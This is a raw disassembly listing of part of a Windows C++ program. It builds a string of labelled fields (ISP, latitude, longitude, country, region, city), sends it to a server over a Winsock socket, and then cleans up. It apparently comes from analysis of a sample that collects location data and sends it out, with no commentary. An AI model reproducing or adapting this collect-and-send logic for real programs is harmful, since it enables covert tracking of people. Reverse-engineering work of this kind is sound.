call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, str._ISP:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x8f0]
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x910]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x8d0]
lea rdx, [rbp + 0x8f0]
lea r8, str._Latitude:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x8b0]
lea rcx, [rbp + 0x220]
lea rdx, [rbp + 0x8d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, str._Longitude:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x870]
lea rcx, [rbp + 0x200]
lea rdx, [rbp + 0x890]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
lea r8, str._Country:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x830]
lea rcx, [rbp + 0x1e0]
lea rdx, [rbp + 0x850]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x810]
lea rdx, [rbp + 0x830]
lea r8, str._Region:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x7f0]
lea rcx, [rbp + 0x1c0]
lea rdx, [rbp + 0x810]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, str._City:
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x7b0]
lea rcx, [rbp + 0x1a0]
lea rdx, [rbp + 0x7d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x7b0]
mov rcx, rax
call dbg.fun_2(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)
lea rax, [rbp + 0x7b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x7d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x7f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x810]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x830]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x850]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x870]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x890]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x8f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x910]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x930]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x950]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x970]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x990]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x9b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x9d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x9f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xa90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.strlen
mov ebx, eax
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rax
mov rax, qword [rbp + 0xac0]
mov r9d, 0
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140002724
lea rax, str.An_error_occurred_when_sending_data_to_server_socket.
mov rdx, rax
mov rax, qword [0x1401012f0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0xac0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov esi, 1
mov ebx, 0
jmp 0x1400027ba
mov rax, qword [rbp + 0xac0]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_shutdown]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x140002799
lea rax, str.An_error_occurred_while_shutting_down_client_socket.
mov rdx, rax
mov rax, qword [0x1401012f0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0xac0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov esi, 1
mov ebx, 0
jmp 0x1400027ba
mov rax, qword [rbp + 0xac0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ebx, 1
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x1400027d2
mov ebx, 1
jmp 0x1400027d7
mov ebx, 0
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x1400027f2
mov ebx, 1
jmp 0x1400027f7
mov ebx, 0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002812
mov ebx, 1
jmp 0x140002817
mov ebx, 0
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002832
mov ebx, 1
jmp 0x140002837
mov ebx, 0
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002852
mov ebx, 1
jmp 0x140002857
mov ebx, 0
lea rax, [rbp + 0x200]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002872
mov ebx, 1
jmp 0x140002877
mov ebx, 0
lea rax, [rbp + 0x220]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002892
mov ebx, 1
jmp 0x140002897
mov ebx, 0
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400c11b0
cmp ebx, 1
jne 0x1400028b2
mov ebx, 1
jmp 0x1400028b7
mov ebx, 0
lea rax, [rbp + 0x260]
mov rcx, rax
call dbg.std::__cxx11::basic_regex<char, std::__cxx11::regex_traits<char> >::~basic_regex()
cmp ebx, 1
jne 0x1400028d2
mov ebx, 1
jmp 0x1400028d7
mov ebx, 0
lea rax, [rbp + 0x280]
mov rcx, rax
call dbg.std::__cxx11::basic_regex<char, std::__cxx11::regex_traits<char> >::~basic_regex()
cmp ebx, 1
jne 0x1400028f2
mov ebx, 1
jmp 0x1400028f7
mov ebx, 0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call dbg.std::__cxx11::basic_regex<char, std::__cxx11::regex_traits<char> >::~basic_regex()
cmp ebx, 1
jne 0x140002912
mov ebx, 1
jmp 0x140002917
mov ebx, 0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call dbg.std::__cxx11::basic_regex<char, std::__cxx11::regex_traits<char> >::~basic_regex()
cmp ebx, 1
jne 0x140002932
mov ebx, 1
jmp 0x140002937
mov ebx, 0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call dbg.std::__cxx11::basic_regex<char, std::__cxx11::regex_traits<char> >::~basic_regex()
cmp ebx, 1
jne 0x140002952
mov ebx, 1
jmp 0x140002957
mov ebx, 0
lea rax, [rbp + 0x300]
mov rcx, rax
call dbg.std::__cxx11::basic_regex<char, std::__cxx11::regex_traits<char> >::~basic_regex()
cmp ebx, 1
jne 0x140002972
mov ebx, 1
jmp 0x140002977
mov ebx, 0
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002992
mov ebx, 1
jmp 0x140002997
mov ebx, 0
lea rax, [rbp + 0x340]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x1400029b2
mov ebx, 1
jmp 0x1400029b7
mov ebx, 0
lea rax, [rbp + 0x360]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x1400029d2
mov ebx, 1
jmp 0x1400029d7
mov ebx, 0
lea rax, [rbp + 0x380]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x1400029f2
mov ebx, 1
jmp 0x1400029f7
mov ebx, 0
lea rax, [rbp + 0x3a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002a12
mov ebx, 1
jmp 0x140002a17
mov ebx, 0
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002a32
mov ebx, 1
jmp 0x140002a37
mov ebx, 0
lea rax, [rbp + 0x3e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002a52
mov ebx, 1
jmp 0x140002a57
mov ebx, 0
lea rax, [rbp + 0x400]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002a72
mov ebx, 1
jmp 0x140002a77
mov ebx, 0
lea rax, [rbp + 0x420]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140002a90
mov esi, 0
mov eax, esi
jmp 0x140002f86
add rsp, 0xb58
pop rbx
pop rsi
pop rdi
pop rbp
ret